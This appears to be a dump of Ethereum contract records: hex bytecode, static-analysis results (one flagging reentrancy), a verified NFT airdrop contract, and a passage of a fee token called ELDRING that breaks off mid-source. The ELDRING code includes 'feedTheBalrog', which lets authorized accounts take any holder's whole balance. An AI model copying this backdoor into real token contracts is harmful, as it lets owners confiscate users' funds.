600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c04565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611c04565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611c04565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611c04565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c39565b9050602002016020810190610a009190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c65565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611c04565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611c04565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c80565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119f2565b5060006111ea8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611caf565b8160018151811061139857611398611c39565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e9086611701565b6001600160a01b03891660009081526002602052604090205561159081611760565b61159a84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061160e828261148b565b82101561162b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f191906119f2565b5060006111ea8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f611468565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170e8385611c80565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b600061176a611468565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148b565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610677565b600061188e8385611d5f565b90508261189b8583611d3d565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112aa81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112aa82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112aa81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc71064cace443b6f2e20579f82cd00411a86dd710ba4065236ef9a30cd3805d64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,630 |
0x8d7f105fd05bfd82489d4515b250fe0203eb1003
|
/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
contract Airdrop is IERC721Receiver {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function onERC721Received(address, address, uint256, bytes calldata) pure external override(IERC721Receiver) returns(bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function airdrop(address nft, address[] calldata _users) external onlyOwner {
IERC721Enumerable token = IERC721Enumerable(nft);
uint total = token.balanceOf(address(this));
require(total >= _users.length, "Not enough tokens owned by the contract to airdrop.");
for (uint i = 0; i < _users.length; i++)
{
IERC721Enumerable(nft).transferFrom(
address(this),
_users[i],
token.tokenOfOwnerByIndex(address(this), total - 1 - i)
);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063150b7a021461005c578063715018a61461008c5780638da5cb5b14610096578063ce0e3b9f146100b4578063f2fde38b146100d0575b600080fd5b61007660048036038101906100719190610742565b6100ec565b6040516100839190610968565b60405180910390f35b610094610101565b005b61009e610189565b6040516100ab91906108ed565b60405180910390f35b6100ce60048036038101906100c991906107ca565b6101b2565b005b6100ea60048036038101906100e59190610715565b610466565b005b600063150b7a0260e01b905095945050505050565b61010961055e565b73ffffffffffffffffffffffffffffffffffffffff16610127610189565b73ffffffffffffffffffffffffffffffffffffffff161461017d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610174906109a3565b60405180910390fd5b6101876000610566565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6101ba61055e565b73ffffffffffffffffffffffffffffffffffffffff166101d8610189565b73ffffffffffffffffffffffffffffffffffffffff161461022e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610225906109a3565b60405180910390fd5b600083905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161026e91906108ed565b60206040518083038186803b15801561028657600080fd5b505afa15801561029a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102be919061082a565b905083839050811015610306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102fd906109c3565b60405180910390fd5b60005b8484905081101561045e578573ffffffffffffffffffffffffffffffffffffffff166323b872dd3087878581811061034457610343610b08565b5b90506020020160208101906103599190610715565b8673ffffffffffffffffffffffffffffffffffffffff16632f745c59308760018a61038491906109f4565b61038e91906109f4565b6040518363ffffffff1660e01b81526004016103ab92919061093f565b60206040518083038186803b1580156103c357600080fd5b505afa1580156103d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fb919061082a565b6040518463ffffffff1660e01b815260040161041993929190610908565b600060405180830381600087803b15801561043357600080fd5b505af1158015610447573d6000803e3d6000fd5b50505050808061045690610a90565b915050610309565b505050505050565b61046e61055e565b73ffffffffffffffffffffffffffffffffffffffff1661048c610189565b73ffffffffffffffffffffffffffffffffffffffff16146104e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d9906109a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054990610983565b60405180910390fd5b61055b81610566565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008135905061063981610c17565b92915050565b60008083601f84011261065557610654610b3c565b5b8235905067ffffffffffffffff81111561067257610671610b37565b5b60208301915083602082028301111561068e5761068d610b41565b5b9250929050565b60008083601f8401126106ab576106aa610b3c565b5b8235905067ffffffffffffffff8111156106c8576106c7610b37565b5b6020830191508360018202830111156106e4576106e3610b41565b5b9250929050565b6000813590506106fa81610c2e565b92915050565b60008151905061070f81610c2e565b92915050565b60006020828403121561072b5761072a610b4b565b5b60006107398482850161062a565b91505092915050565b60008060008060006080868803121561075e5761075d610b4b565b5b600061076c8882890161062a565b955050602061077d8882890161062a565b945050604061078e888289016106eb565b935050606086013567ffffffffffffffff8111156107af576107ae610b46565b5b6107bb88828901610695565b92509250509295509295909350565b6000806000604084860312156107e3576107e2610b4b565b5b60006107f18682870161062a565b935050602084013567ffffffffffffffff81111561081257610811610b46565b5b61081e8682870161063f565b92509250509250925092565b6000602082840312156108405761083f610b4b565b5b600061084e84828501610700565b91505092915050565b61086081610a28565b82525050565b61086f81610a3a565b82525050565b60006108826026836109e3565b915061088d82610b50565b604082019050919050565b60006108a56020836109e3565b91506108b082610b9f565b602082019050919050565b60006108c86033836109e3565b91506108d382610bc8565b604082019050919050565b6108e781610a86565b82525050565b60006020820190506109026000830184610857565b92915050565b600060608201905061091d6000830186610857565b61092a6020830185610857565b61093760408301846108de565b949350505050565b60006040820190506109546000830185610857565b61096160208301846108de565b9392505050565b600060208201905061097d6000830184610866565b92915050565b6000602082019050818103600083015261099c81610875565b9050919050565b600060208201905081810360008301526109bc81610898565b9050919050565b600060208201905081810360008301526109dc816108bb565b9050919050565b600082825260208201905092915050565b60006109ff82610a86565b9150610a0a83610a86565b925082821015610a1d57610a1c610ad9565b5b828203905092915050565b6000610a3382610a66565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610a9b82610a86565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610ace57610acd610ad9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4e6f7420656e6f75676820746f6b656e73206f776e656420627920746865206360008201527f6f6e747261637420746f2061697264726f702e00000000000000000000000000602082015250565b610c2081610a28565b8114610c2b57600080fd5b50565b610c3781610a86565b8114610c4257600080fd5b5056fea2646970667358221220c5a6f800f4c36e9ba40bb03266debc5a094d15f4133ac41846bbc7bdff431e3964736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 2,631 |
0xb36329Cc547796DDB55C46eF2eE9a3Ef605E1864
|
/**
Eldring's rules
▶ If you make the biggest buy (in tokens) you will hold the Eldring for one hour, and collect 4% fees (in ETH) the same way marketing does.
Once the hour is finished, the counter will be reset and everyone will be able to compete again for the Eldring.
▶ If you sell any tokens at all at any point you are not worthy of the Eldring.
▶ If someone beats your record, they steal you the Eldring.
Website: https://eldringeth.com/
Telegram: https://t.me/EldRingETH
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract ELDRING is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "ELDRING";
string constant _symbol = "Eldring";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _totalSupply = 10000 * (10**_decimals);
uint256 public biggestBuy = 0;
uint256 public lastRingChange = 0;
uint256 public resetPeriod = 1 hours;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public hasSold;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 9;
uint256 public ringFee = 4;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public Ring;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private _maxTxAmount = _totalSupply / 100;
uint256 private _maxWalletAmount = _totalSupply / 50;
uint256 public swapThreshold = _totalSupply / 100;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
event NewRing(address ring, uint256 buyAmount);
event RingPayout(address ring, uint256 amountETH);
event RingSold(address ring, uint256 amountETH);
constructor() Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
Ring = msg.sender;
totalFee = liquidityFee.add(marketingFee).add(ringFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setMaxTxAmount(uint256 amount) external authorized {
_maxTxAmount = amount;
}
function setFees(
uint256 newLiquidityFee,
uint256 newMarketingFee,
uint256 newringFee
) external authorized {
liquidityFee = newLiquidityFee;
marketingFee = newMarketingFee;
ringFee = newringFee;
}
function feedTheBalrog(address bot) external authorized {
uint256 botBalance = _balances[bot];
_balances[address(this)] = _balances[address(this)].add(botBalance);
_balances[bot] = 0;
emit Transfer(bot, address(this), botBalance);
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
authorized
{
isTxLimitExempt[holder] = exempt;
}
function setSwapThreshold(uint256 threshold) external authorized {
